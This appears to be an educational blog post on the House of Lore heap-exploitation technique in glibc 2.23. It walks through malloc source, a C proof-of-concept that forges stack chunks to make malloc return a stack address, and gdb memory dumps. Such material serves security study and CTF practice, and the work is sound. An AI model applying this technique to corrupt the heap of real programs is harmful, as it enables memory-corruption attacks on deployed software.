Introduction
In this post I am going to give a basic introduction on House of Lore exploitation technique. And I will use the source code of libc-2.23 for explanation.
House of Lore
The House of Lore technique takes advantage of the following code in libc as below.
if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { if (victim == 0) /* initialization check */ malloc_consolidate (av); else { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; } } }
We use the following code to demonstrate how House of Lore is expected to work and manipulate the memory.
#include<stdio.h> #include<stdlib.h> int main() { unsigned long *p1, *p2, *p3, *p4; unsigned long *vp1, *vp2; unsigned long fake1[4]; unsigned long fake2[20]; p1 = malloc(0x90); p2 = malloc(0x90); p3 = malloc(0x90); p4 = malloc(0x90); free(p1); free(p3); malloc(0xa0); //benign malloc fake1[0] = 0; fake1[1] = 0xa1; fake1[2] = (unsigned long)(p1) - 0x10; fake1[3] = (unsigned long)(&fake2); *(p1+1) = (unsigned long)(&fake1); fake2[2] = (unsigned long)(&fake1); vp1 = malloc(0x90); //victim malloc1 printf("allocated chunk at %p\n", vp1); vp2 = malloc(0x90); //victim malloc2 printf("allocated chunk at %p\n", vp2); return 0; }
To give a better understanding on the House of Lore, I give the memory dump of each step.
//After the benign malloc 0x7ffff7dd3b20: 0x0000000100000000 0x0000000000000000 0x7ffff7dd3b30: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b40: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b50: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b60: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b70: 0x0000000000000000 0x0000000000602330 0x7ffff7dd3b80: 0x0000000000000000 0x00007ffff7dd3b78 0x7ffff7dd3b90: 0x00007ffff7dd3b78 0x00007ffff7dd3b88 0x7ffff7dd3ba0: 0x00007ffff7dd3b88 0x00007ffff7dd3b98 0x7ffff7dd3bb0: 0x00007ffff7dd3b98 0x00007ffff7dd3ba8 0x7ffff7dd3bc0: 0x00007ffff7dd3ba8 0x00007ffff7dd3bb8 0x7ffff7dd3bd0: 0x00007ffff7dd3bb8 0x00007ffff7dd3bc8 0x7ffff7dd3be0: 0x00007ffff7dd3bc8 0x00007ffff7dd3bd8 0x7ffff7dd3bf0: 0x00007ffff7dd3bd8 0x00007ffff7dd3be8 0x7ffff7dd3c00: 0x00007ffff7dd3be8 0x00007ffff7dd3bf8 0x7ffff7dd3c10: 0x00007ffff7dd3bf8 0x0000000000602140 0x7ffff7dd3c20: 0x0000000000602000 0x00007ffff7dd3c18 0x7ffff7dd3c30: 0x00007ffff7dd3c18 0x00007ffff7dd3c28 0x7ffff7dd3c40: 0x00007ffff7dd3c28 0x00007ffff7dd3c38 (gdb) x/4gx 0x602000 0x602000: 0x0000000000000000 0x00000000000000a1 0x602010: 0x00007ffff7dd3c08 0x0000000000602140 (gdb) x/4gx 0x602140 0x602140: 0x0000000000000000 0x00000000000000a1 0x602150: 0x0000000000602000 0x00007ffff7dd3c08
After the benign malloc, we successfully put freed p1 and p3 into smallbin.
Next, we create a fake chunk on stack and modify the bk of chunk at 0x602000 as below.
0x602000: 0x0000000000000000 0x00000000000000a1 0x602010: 0x00007ffff7dd3c08 [0x00007fffffffe110]<=corrupted bk 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 //fake chunk1 on stack (gdb) x/8gx 0x00007fffffffe110 0x7fffffffe110: 0x0000000000000000 0x00000000000000a1 0x7fffffffe120:[0x0000000000602000] 0x00007fffffffe070 <= craft fd to bypass security check 0x7fffffffe130: 0x00007fffffffe15e 0x0000000000000000 0x7fffffffe140: 0x00000000006021f0 0x0000000000602150
After the first victim alloc, we successfully insert the fake chunk on stack into the smallbin.
0x7ffff7dd3b20: 0x0000000100000000 0x0000000000000000 0x7ffff7dd3b30: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b40: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b50: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b60: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b70: 0x0000000000000000 0x0000000000602330 0x7ffff7dd3b80: 0x0000000000000000 0x00007ffff7dd3b78 0x7ffff7dd3b90: 0x00007ffff7dd3b78 0x00007ffff7dd3b88 0x7ffff7dd3ba0: 0x00007ffff7dd3b88 0x00007ffff7dd3b98 0x7ffff7dd3bb0: 0x00007ffff7dd3b98 0x00007ffff7dd3ba8 0x7ffff7dd3bc0: 0x00007ffff7dd3ba8 0x00007ffff7dd3bb8 0x7ffff7dd3bd0: 0x00007ffff7dd3bb8 0x00007ffff7dd3bc8 0x7ffff7dd3be0: 0x00007ffff7dd3bc8 0x00007ffff7dd3bd8 0x7ffff7dd3bf0: 0x00007ffff7dd3bd8 0x00007ffff7dd3be8 0x7ffff7dd3c00: 0x00007ffff7dd3be8 0x00007ffff7dd3bf8 0x7ffff7dd3c10: 0x00007ffff7dd3bf8 0x0000000000602140 0x7ffff7dd3c20:[0x00007fffffffe110] 0x00007ffff7dd3c18 <= address of stack
The next step is to craft another fake chunk on stack and manage to trigger House of Lore the second time.
(gdb) x/8gx 0x00007fffffffe110 0x7fffffffe110: 0x0000000000000000 0x00000000000000a1 0x7fffffffe120: 0x00007ffff7dd3c08 0x00007fffffffe070 0x7fffffffe130: 0x00007fffffffe15e 0x0000000000000000 0x7fffffffe140: 0x00000000006021f0 0x0000000000602150 (gdb) x/8gx 0x00007fffffffe070 0x7fffffffe070: 0x0000000000000000 0x0000000000000000 0x7fffffffe080:[0x00007fffffffe110] 0x0000000000000000 <= craft fd to bypass security check 0x7fffffffe090: 0x0000000000000000 0x0000000000000000 0x7fffffffe0a0: 0x0000000000000000 0x0000000000000000
In the end, we will receive the message as below.
allocated chunk at 0x602010 allocated chunk at 0x7fffffffe120
This time, we can observe that the second victim alloc will return an address on stack.
Conclusion
Generally speaking, House of Lore is very similar to Unsafe Unlink technique. Both of them try to unlink one chunk from the current bin and attacker try to exploit the unlinking procedure to achieve some goal. Nowadays, glibc has inserted security check code to verify the validity of the doubly linked list. But it still seems that deliberately designing data and memory layout with some coincidence can still make both exploitation techniques feasible in CTF challenges.
Reference
[1] https://github.com/shellphish/how2heap
[2] http://phrack.org/issues/67/8.html